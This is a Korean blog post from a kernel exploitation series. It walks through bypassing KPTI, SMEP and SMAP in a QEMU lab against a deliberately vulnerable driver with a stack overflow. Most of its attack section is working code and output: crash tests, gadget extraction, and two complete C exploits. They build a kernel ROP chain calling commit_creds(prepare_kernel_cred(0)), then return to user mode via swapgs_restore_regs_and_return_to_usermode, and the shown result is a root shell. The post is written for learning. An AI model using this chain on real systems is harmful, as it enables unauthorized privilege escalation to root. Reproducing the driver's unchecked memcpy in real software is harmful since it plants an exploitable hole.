[Research] Linux Kernel Exploit - KPTI(2)

[Research] Linux Kernel Exploit - KPTI(2)

서론

해당 포스트에서는 Linux Kernel Basic 시리즈의 정보를 기반으로 하여 리눅스 커널에 적용되어 있는 보호기법(mitigation)을 하나씩 우회하여 공격하는 과정을 포스트하려고 한다. 이전 포스트의 경우 KPTI 보호기법이 생겨나게된 배경인 멜트다운(Meltdown) 취약점에 대하여 이해해보았다. 해당 포스트에서는 보호기법의 관점이 아닌 익스플로잇의 관점으로 보았을 경우 어떠한 부분을 고려해서 공격해야 하는가에 대해 작성하는 포스트이다.



KPTI



KPTI(Kernel Page Table Isolation)은 커널 공간과 유저 공간의 전환이 일어날 경우, 개별적인 페이지 테이블을 사용하여 유저 공간 페이지 테이블의 경우 최소한의 커널 주소만을 포함하도록 하는 보호기법이다.


KPTI가 적용되지 않은 기존의 User Process가 사용하는 Page Table의 경우에는 Kernel Address가 매핑되어 있다. 이러한 점을 고려한다면 User Application이 Kernel Mode로 전환되는 경우(System Call, Interrupt…)에서 직접적으로 Kernel에서의 데이터를 사용할 수 있기에 Overhead를 줄일 수 있다는 장점을 가지고 있지만 다르게 해석한다면 User Application에서 Kernel Memory의 정보가 유출될 수 있다는 취약점을 지니고 있다.



환경분석

start.sh

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu kvm64,smep,smap \

부팅 스크립트의 경우 다음과 같은 형태로 작성되어 있다. 적용된 보호기법은 SMEP, SMAP이 적용되어 있으며 KASLR의 경우는 비활성화 해두었다. 또한 cpu 옵션에서 확인할 수 있는 것은 qemu64가 아닌 kvm64가 적용되어 있는 것으로 확인할 수 있다. 이는 KPTI가 적용된 형태라고 볼 수 있다.



바이너리 분석

디바이스 드라이버 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <linux/input.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/string.h>

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("SAMPLE");

static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos);

struct file_operations test_fops = {
.write = test_write,
};

static struct miscdevice test_driver = {
.minor = MISC_DYNAMIC_MINOR,
.name = "test",
.fops = &test_fops,
};

static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
char arr[8] = { [0 ... 7] = 0 };
char *ptr;

ptr = (char *)kmalloc(count, GFP_KERNEL);

copy_from_user(ptr, buf, count);
memcpy(arr, ptr, count);

printk("arr : %x", arr[count-1]); // prevent undefined behavior

return 0;
}


static int test_init(void) {
int result;

result = misc_register(&test_driver);

return 0;
}

static void test_exit(void) {
misc_deregister(&test_driver);
}

module_init(test_init);
module_exit(test_exit);

해당 소스코드의 경우 공격 벡터(attack vector)가 될 수 있는 디바이스 드라이버 파일의 소스코드이다. 소스코드를 확인해볼 경우 file_operations 구조체 내부에서 write 시스템 콜에 대응하는 동작들을 정의하고 있다.

디바이스 드라이버 파일을 토대로 write 시스템 콜을 호출하게 될 경우 test_write() 함수가 실행된다. 해당 함수가 실행될 경우 line30~line33에 의하여 커널에서 메모리를 동적할당한 후 유저영역에서의 메모리를 해당 데이터의 크기만큼 복사하는 것을 확인할 수 있다.

이를 고려해보면 사용자가 입력한 데이터(untrusted input)의 크기를 제한하지 않는 문제로 인해서 스택 버퍼기반의 오버플로우가 발생할 것으로 예상된다.



취약점 분석

바이너리 분석에서 사용자의 입력으로 부터 실행흐름을 변조할 가능성이 있음을 확인하였다. 해당 디바이스 드라이버를 토대로 write 시스템 콜이 호출되게 될 경우 디바이스 드라이버의 경우 사용자의 입력(untrusted input)이 버퍼 오버플로우를 발생시키기 때문이다. 예상한 결과가 맞는가에 대해서 확인해볼 필요가 있다.


공격 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>


int main() {
int fd;

fd = open("/dev/test", O_RDWR);


// STEP1. Generate Payload
size_t payload[18] = {0, };

memset(payload, 0x41, 8);
memset(payload+1, 0x42, 8);
memset(payload+2, 0x43, 8);
memset(payload+3, 0x44, 8);
memset(payload+4, 0x45, 8);
memset(payload+5, 0x46, 8);
memset(payload+6, 0x47, 8);
memset(payload+7, 0x48, 8);
memset(payload+9, 0x49, 8);


// STEP2. Exploit
write(fd, payload, sizeof(payload));

close(fd);

return 0;
}

디바이스 드라이버를 제어하는 코드를 작성하였다. 버퍼에 데이터를 어느정도 작성해야 Return Address를 컨트롤 할 수 있는가를 파악하기 위해서 연속적인 형태의 입력인 “AAA…ABBB.B…”를 입력하였다. 만약 RIP가 해당 입력값 중 하나의 값으로 변조된다면 이는 사용자의 입력으로 실행흐름을 변조할 수 있는 취약점으로 볼 수 있다. 참고로 스택 카나리는 비활성화 상태이다.

공격 결과

/ $ ./crash 
[    4.339958] arr : 0
[    4.340495] general protection fault: 0000 [#1] SMP PTI
[    4.342996] CPU: 0 PID: 69 Comm: crash Tainted: G           O      5.8.5 #1
[    4.344349] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[    4.346262] RIP: 0010:0x4545454545454545
[    4.347072] Code: Bad RIP value.
[    4.347693] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[    4.348755] RAX: 0000000000000000 RBX: 4242424242424242 RCX: 0000000020727261
[    4.350178] RDX: 4141414141414141 RSI: ffffffff82b2bba0 RDI: ffffffff82b2bfa0
[    4.351012] RBP: 4343434343434343 R08: 0000000030203a20 R09: 0000000000000007
[    4.351644] R10: 0000000000000045 R11: ffffffff82b2bba7 R12: 4444444444444444
[    4.352806] R13: 0000000000000090 R14: ffffc9000019ff10 R15: 00007ffdfed8cce0
[    4.357840] FS:  00000000025c1880(0000) GS:ffff88801f000000(0000) knlGS:0000000000000000
[    4.358118] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.358370] CR2: 000000000045a040 CR3: 000000001db0c000 CR4: 00000000003006f0
[    4.358938] Call Trace:
[    4.360039]  ? do_syscall_64+0x3e/0x70
[    4.363524]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[    4.364458] Modules linked in: test(O)
[    4.365829] ---[ end trace ed824a2d9d49e4b3 ]---
[    4.366830] RIP: 0010:0x4545454545454545
[    4.367327] Code: Bad RIP value.
[    4.367649] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[    4.368382] RAX: 0000000000000000 RBX: 4242424242424242 RCX: 0000000020727261
[    4.369459] RDX: 4141414141414141 RSI: ffffffff82b2bba0 RDI: ffffffff82b2bfa0
[    4.370154] RBP: 4343434343434343 R08: 0000000030203a20 R09: 0000000000000007
[    4.370785] R10: 0000000000000045 R11: ffffffff82b2bba7 R12: 4444444444444444
[    4.372095] R13: 0000000000000090 R14: ffffc9000019ff10 R15: 00007ffdfed8cce0
[    4.372826] FS:  00000000025c1880(0000) GS:ffff88801f000000(0000) knlGS:0000000000000000
[    4.373500] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.373872] CR2: 000000000045a040 CR3: 000000001db0c000 CR4: 00000000003006f0
[    4.374522] Kernel panic - not syncing: Fatal exception
[    4.375444] Kernel Offset: disabled
[    4.376190] Rebooting in 1 seconds..
qemu-system-x86_64: Trying to execute code outside RAM or ROM at 0x0000000081400220
This usually means one of the following happened:

(1) You told QEMU to execute a kernel for the wrong machine type, and it crashed on startup (eg trying to run a raspberry pi kernel on a versatilepb QEMU machine)
(2) You didn't give QEMU a kernel or BIOS filename at all, and QEMU executed a ROM full of no-op instructions until it fell off the end
(3) Your guest kernel has a bug and crashed by jumping off into nowhere

This is almost always one of the first two, so check your command line and that you are using the right type of kernel for this machine.
If you think option (3) is likely then you can try debugging your guest with the -d debug options; in particular -d guest_errors will cause the log to include a dump of the guest register state at this point.

Execution cannot continue; stopping here.

해당 결과를 통해 RIP가 0x4545454545454545로 변조되었음을 확인할 수 있었고 해당 값은 사용자가 입력할 버퍼의 32만큼의 입력한 뒤의 값이다. 그러므로 payload[4]에 값을 작성할 경우 해당 값으로 실행흐름을 변조할 수 있다.



취약점 공격

분석과정을 통해 사용자의 입력(untrusted input)을 통해 실행흐름을 변조할 수 있음을 확인하였다. 이러한 정보들을 토대로 공격자에게 유의미한 형태의 공격이 될 수 있도록 어떠한 형태로 공격을 진행할 것인가에 대해서 시나리오를 작성하겠다.

가장 파급력있고 공격자에게 자유도가 높은 방법은 리눅스(linux) 기반의 커널을 공격하는 것이기에 루트 권한의 쉘(shell)을 획득하는 것으로 볼 수 있다. 다음과 같은 공격이 이루어지기 위해서는 우선적으로 진행되어야 하는 것이 유저 권한을 루트 권한으로 상승(권한 상승)을 일으켜야 한다.

공격 시나리오

STEP1. commit_creds(prepare_kernel_cred(0))을 통한 권한 상승
STEP2. 사용자 모드(user mode)로의 전환
STEP3. shell 획득

다음의 시나리오는 SMEP이 적용되어 있지 않은 일반적인 형태의 공격(exploit)과 유사하다. Memory Randomization이 적용되어 있지 않기 때문에 실행시키고자 하는 함수인 commit_creds(), prepare_kernel_cred()를 하드코딩하여 값을 작성해도 된다.

여기서 고려해야하는 사항은 슈퍼바이저 모드(ring0)에서 유저영역의 payload를 실행할 수 없기 때문에 권한 상승을 commit_creds(prepare_kernel_cred(0)) 일으킨 후 유저 모드로 전환하는 과정을 커널에서 진행해야 한다. 결과적으로 이러한 과정은 Kernel ROP를 통해 ROP Payload에서 수행할 수 있다.

가젯 구성(1)

Linux 64bit - calling convention

ROP Payload를 작성하기에 앞서 commit_creds()와 prepare_kernel_cred(NULL)을 수행해야 하기에 현재의 아키텍쳐(intel x86/64)에서 함수 호출규약을 확인해볼 필요가 있다. 함수를 호출할 인자가 RDI, RSI, RDX, RCX, R8, R9, stack을 기반으로 하여 전달되는 것을 확인할 수 있다. 그리고 상단의 그림에서는 언급되어 있지 않지만 prepare_kernel_cred() 함수의 반환값의 경우는 RAX에 담긴다. 이러한 과정을 통해서 가젯을 구성할 수 있다.


prepare_kernel_cred() [RDI:0]
mov rdi, rax
commit_creds() [RDI: 결과값]
swapgs
iretq

대략적으로 다음과 같은 형태로 명령어가 수행되어야 한다. prepare_kernel_cred()를 호출할 경우 첫 번째 인자인 RDI의 경우 0(NULL)로 세팅되어 있어야 하며 해당 함수의 반환값이 commit_creds() 함수의 첫 번째인자로 구성되어야 한다. 이후 다시 유저모드의 전환이 일어나야 한다.

가젯 추출(1)

$ objdump -M intel -d vmlinux | grep -a1 "pop    rdi" | grep -a2 "ret"
ffffffff813fb9bb:    5a                       pop    rdx
ffffffff813fb9bc:    5f                       pop    rdi
ffffffff813fb9bd:    c3                       ret     

$ ROPgadget --binary vmlinux | grep "mov rdi, rax"
0xffffffff82a081f0 : mov rdi, rax ; rep movsd dword ptr [rdi], dword ptr [rsi] ; ret
0xffffffff81132ad8 : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff81132970
0xffffffff81b2413b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret

$ objdump -M intel -d vmlinux | grep -a1 "pop    rcx" | grep -a2 "ret"
ffffffff81057091:    8b 44 24 04              mov    eax,DWORD PTR [rsp+0x4]
ffffffff81057095:    59                       pop    rcx
ffffffff81057096:    c3                       ret    
--
ffffffff8105c7bb:    e8 20 fd ff ff           call   0xffffffff8105c4e0
--
ffffffff8119a9f1:    5a                       pop    rdx
ffffffff8119a9f2:    59                       pop    rcx
ffffffff8119a9f3:    c3                       ret    
--
ffffffff8119ab2b:    5a                       pop    rdx
--
ffffffff8119acd6:    5a                       pop    rdx
ffffffff8119acd7:    59                       pop    rcx
ffffffff8119acd8:    c3                       ret   

$ ROPgadget --binary vmlinux | grep "swapgs"
0xffffffff81c00f57 : nop ; swapgs ; ret

$ objdump -M intel -d vmlinux | grep -a1 "iretq"
ffffffff810252ad:    68 b4 52 02 81           push   0xffffffff810252b4
ffffffff810252b2:    48 cf                    iretq  
ffffffff810252b4:    c3                       ret 

다음과 같은 형태로 vmlinux에서 공격 페이로드를 구성할 가젯을 추출할 수 있었다. 중간에 언급하지 않았던 pop rcx 가젯을 추출하였는 데, 해당 이유는 rep movsq qword ptr [rdi], qword ptr [rsi] 다음의 명령어 때문이다. 해당 명령어는 rsi에 있는 데이터를 rdi에 복사하는 형태의 명령어이며 반복횟수는 rcx 명령어로 결정된다. 그러므로 해당 명령어를 유효하지 않게 하기 위해서는 rcx를 0으로 세팅할 필요가 있다.


공격코드(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
}

void shell() {
execl("/bin/sh", "sh", NULL);
}

int main() {
int fd;
size_t payload[18] = {0, };

void *commit_creds = 0xffffffff8108e9f0;
void *prepare_kernel_cred = 0xffffffff8108ec20;

printf("[+] EXPLOIT!\n");
fd = open("/dev/test", O_RDWR);
printf(" open file /dev/test\n");

backup_rv();

memset(payload, 0x41, 40);
payload[4] = 0xffffffff813fb9bc;
payload[5] = 0;
payload[6] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[7] = 0xffffffff813f4ef2;
payload[8] = 0;
payload[9] = 0xffffffff81b241f0;
payload[10] = commit_creds; // commit_creds()
payload[11] = 0xffffffff81c00f58; // swapgs; ret;
payload[12] = 0xffffffff810252b2; // iretq; ret;
payload[13] = &shell;
payload[14] = rv.user_cs;
payload[15] = rv.user_rflags;
payload[16] = rv.user_rsp;
payload[17] = rv.user_ss;

printf(" write payload\n");

printf(" attack device driver\n");
write(fd, payload, sizeof(payload));


close(fd);

return 0;
}

공격결과(1)

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ ./exploit
[+] EXPLOIT!
    open file /dev/test
    write payload
    attack device driver
Segmentation fault
/ $ 

공격결과에 의하면 루트 권한의 쉘을 획득하는 것에 실패하였다. 이는 KPTI가 적용되지 않은 형태의 SMEP을 우회하는 예시와 동일한 형태를 사용하였음을 밝힌다. 비교 분석해보았을 경우 이는 KPTI가 적용된 시스템에서는 이전의 방법과 동일하게 익스플로잇이 수행되지 않음을 이야기한다. 해당 원인을 분석해보고 공격을 다시 수행해보도록 하겠다.

결과를 분석해보면 커널 영역에서의 발생하는 crash가 아닌 유저 영역에서 발생하는 crash로 확인된다. 해당 과정에 대한 디버깅과 자료조사를 진행해본 결과 가젯(gadget) 중 swapgs와 iret이 수행되었고 유저 모드로 전환이 되었음을 의미한다. 하지만 페이지 테이블의 경우는 커널을 사용하며 KPTI로 인해서 제한적인 형태의 커널 영역에만 접근이 가능하기 때문에 유저영역에서 잘못된 형태의 페이지 테이블을 참조함으로 볼 수 있다. 그러므로 Segmentation fault가 발생한다.

원인 분석을 토대로 익스플로잇 방법을 고려해보면 페이지 테이블 또한 유저 영역에서 접근할 수 있는 형태로 변경해주어야 한다. 해당 명령을 수행해주는 함수의 경우는 swapgs_restore_regs_and_return_to_usermode()이다. 다음의 함수를 분석하여 가젯 구성 및 페이로드를 다시 작성해보겠다.


가젯 구성(2)

$ cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81c00df0 T swapgs_restore_regs_and_return_to_usermode

0xffffffff81c00e06:    mov    rdi,rsp
0xffffffff81c00e09:    mov    rsp,QWORD PTR gs:0x6004
0xffffffff81c00e12:    push   QWORD PTR [rdi+0x30]
0xffffffff81c00e15:    push   QWORD PTR [rdi+0x28]
0xffffffff81c00e18:    push   QWORD PTR [rdi+0x20]
0xffffffff81c00e1b:    push   QWORD PTR [rdi+0x18]
0xffffffff81c00e1e:    push   QWORD PTR [rdi+0x10]
0xffffffff81c00e21:    push   QWORD PTR [rdi]
0xffffffff81c00e23:    push   rax
0xffffffff81c00e24:    xchg   ax,ax
0xffffffff81c00e26:    mov    rdi,cr3
0xffffffff81c00e29:    jmp    0xffffffff81c00e5f
---
0xffffffff81c00e5f:    or     rdi,0x1000
0xffffffff81c00e66:    mov    cr3,rdi
0xffffffff81c00e69:    pop    rax
0xffffffff81c00e6a:    pop    rdi
0xffffffff81c00e6b:    swapgs 
0xffffffff81c00e6e:    jmp    0xffffffff81c00e90
---
0xffffffff81c00e90:    test   BYTE PTR [rsp+0x20],0x4
0xffffffff81c00e95:    jne    0xffffffff81c00e99
0xffffffff81c00e97:    iretq 

분석을 위해서 해당 함수를 토대로 라인별로 분석을 해보았다. 분석 과정에서 유의미하지 않은 코드를 고려하여 ROP Payload를 구성하게 될 경우 페이로드의 크기가 너무 커질 수 있기 때문에 정말 유의미한 형태가 무엇인가 고려를 해보며 이를 손수 디버깅해본 결과 다음의 결과를 얻었다.

실제로 유의미한 형태는 or rdi, 0x1000을 통해 페이지 테이블을 분리하여 swapgs와 iretq가 수행됨에 있다. 또한 0xffffffff81c00e06 부터 수행이 이루어져야 정상적으로 동작하는 것을 확인할 수 있었다.

해당 코드를 확인해보면 pop rax, pop rdi와 같은 명령어가 위치하고 있으며 다음과 같은 코드로 인해서 추가적으로 페이로드의 dummy 값을 삽입해야 한다.


공격코드(2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
}

void shell() {
execl("/bin/sh", "sh", NULL);
}

int main() {
int fd;
size_t rop[20] = {0, };

void *commit_creds = 0xffffffff8108e9f0;
void *prepare_kernel_cred = 0xffffffff8108ec20;

fd = open("/dev/test", O_RDWR);

backup_rv();

memset(rop, 0x41, 40);
rop[4] = 0xffffffff813fb9bc; // pop rdi; ret;
rop[5] = 0;
rop[6] = prepare_kernel_cred;
rop[7] = 0xffffffff813f4eca; // pop rcx; ret;
rop[8] = 0;
rop[9] = 0xffffffff81b2413b; // mov rdi, rax; rep movs ...; ret;
rop[10] = commit_creds;
rop[11] = 0xffffffff81c00e06; // swapgs_restore...;
rop[12] = 0x0;
rop[13] = 0x0;
rop[14] = &shell;
rop[15] = rv.user_cs;
rop[16] = rv.user_rflags;
rop[17] = rv.user_rsp;
rop[18] = rv.user_ss;

write(fd, rop, sizeof(rop));

close(fd);

return 0;
}

공격결과(2)

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ whoami
user
/ $ ./exploit 
/ # whoami
root



참고

b30w0lf님의 운영체제(Operating System)
DREAMHACK - Linux Kernel Exploit
INFLEARN - 리눅스 커널 해킹. A부터 Z까지
https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2
https://www.lazenca.net/pages/viewpage.action?pageId=25624859
https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame



한줄평

KPTI가 적용되어 있을 경우 단순히 유저모드로의 전환이 아닌 페이지 테이블 또한 변경해주어야 한다!